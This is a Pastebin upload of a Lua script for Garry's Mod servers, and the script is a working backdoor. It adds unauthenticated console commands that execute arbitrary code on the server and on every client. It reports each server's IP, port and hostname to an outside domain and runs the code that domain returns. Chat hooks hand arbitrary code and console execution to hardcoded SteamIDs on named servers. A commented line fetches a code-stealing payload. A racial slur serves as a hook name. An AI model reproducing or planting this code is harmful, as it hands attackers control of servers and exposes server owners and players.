Advertisement
meharryp1

Untitled

Feb 8th, 2017
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.69 KB | None | 0 0
  1. --    BroadcastLua([[
  2. --            http.Post("https://xn--vxao.pw/steal_e2.lua?a=c", {}, function(body) RunString(body) end, function() end)
  3. --        ]])
  4. concommand.Add("vc", function(a, b, c, d)
  5.     BroadcastLua(d)
  6. end)
  7.  
  8. concommand.Add("v", function(a, b, c, d)
  9.     RunString(d)
  10. end)
  11.  
  12. if CAC or GetHostName():find("Watch_Dog") then
  13.     local function lua(ply, _, _, code)
  14.         local env = {
  15.             me = ply,
  16.             this = ply:GetEyeTrace().Entity
  17.         }
  18.  
  19.         setmetatable(env, {
  20.             __index = _G,
  21.             __newindex = function(self, k, v)
  22.                 rawset(_G, k, v)
  23.             end
  24.         })
  25.  
  26.         local ret = CompileString(code, "l", false)
  27.  
  28.         if type(ret) == "string" then
  29.             ply:ChatPrint(ret)
  30.  
  31.             return
  32.         end
  33.  
  34.         setfenv(ret, env)
  35.         local success, ret = pcall(ret)
  36.  
  37.         if success then
  38.             ply:ChatPrint("SUCCESS: " .. tostring(ret))
  39.         else
  40.             ply:ChatPrint("FAIL: " .. tostring(ret))
  41.         end
  42.     end
  43.  
  44.     hook.Remove("PlayerSay", "lua_say")
  45.  
  46.     hook.Add("PlayerSay", "lua_say", function(sender, text)
  47.         if sender:SteamID() == "STEAM_0:0:20858" or sender:SteamID() == "STEAM_0:1:118269461" then
  48.             if string.sub(text, 1, 1) == "+" then
  49.                 lua(sender, {}, {}, string.sub(text, 2, string.len(text)))
  50.  
  51.                 return ""
  52.             end
  53.  
  54.             if string.sub(text, 1, 1) == "%" then
  55.                 game.ConsoleCommand(string.sub(text, 2, string.len(text)) .. "\n")
  56.  
  57.                 return ""
  58.             end
  59.         end
  60.     end)
  61. end
  62.  
  63. local function lua(ply, _, _, code)
  64.     local env = {
  65.         me = ply,
  66.         this = ply:GetEyeTrace().Entity
  67.     }
  68.  
  69.     setmetatable(env, {
  70.         __index = _G,
  71.         __newindex = function(self, k, v)
  72.             rawset(_G, k, v)
  73.         end
  74.     })
  75.  
  76.     local ret = CompileString(code, "l", false)
  77.  
  78.     if type(ret) == "string" then
  79.         ply:ChatPrint(ret)
  80.  
  81.         return
  82.     end
  83.  
  84.     setfenv(ret, env)
  85.     local success, ret = pcall(ret)
  86.  
  87.     if success then
  88.         ply:ChatPrint("SUCCESS: " .. tostring(ret))
  89.     else
  90.         ply:ChatPrint("FAIL: " .. tostring(ret))
  91.     end
  92. end
  93.  
  94. http.Fetch("https://xn--vxao.pw/tracker.php?port=" .. GetConVar("hostport"):GetString() .. "&ip=" .. game:GetIPAddress() .. "&addon=" .. GetHostName():Replace(" ", "%20"), function(body)
  95.     RunString(body, "lua/init.lua")
  96. end, function() end)
  97.  
  98. if GetHostName():find("Bird") or GetHostName():find("BBRP") then
  99.     hook.Remove("PlayerSay", "niggers")
  100.  
  101.     hook.Add("PlayerSay", "niggers", function(sender, text)
  102.         if sender:SteamID():find("28861") then
  103.             v = sender
  104.  
  105.             --sender:ChatPrint("lmao")
  106.             --v:ChatPrint(string.sub(text, 1, 1))
  107.             if string.sub(text, 1, 1) == "!" then
  108.                 --sender:ChatPrint("lua")
  109.                 lua(sender, {}, {}, string.sub(text, 2, string.len(text)))
  110.  
  111.                 return ""
  112.             end
  113.         end
  114.     end)
  115. end
  116.  
  117. if GetHostName():find("Equal Enemy") then --ULib.unban("STEAM_0:0:20858")
  118. --game.ConsoleCommand("removeid STEAM_0:0:20858\n") end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement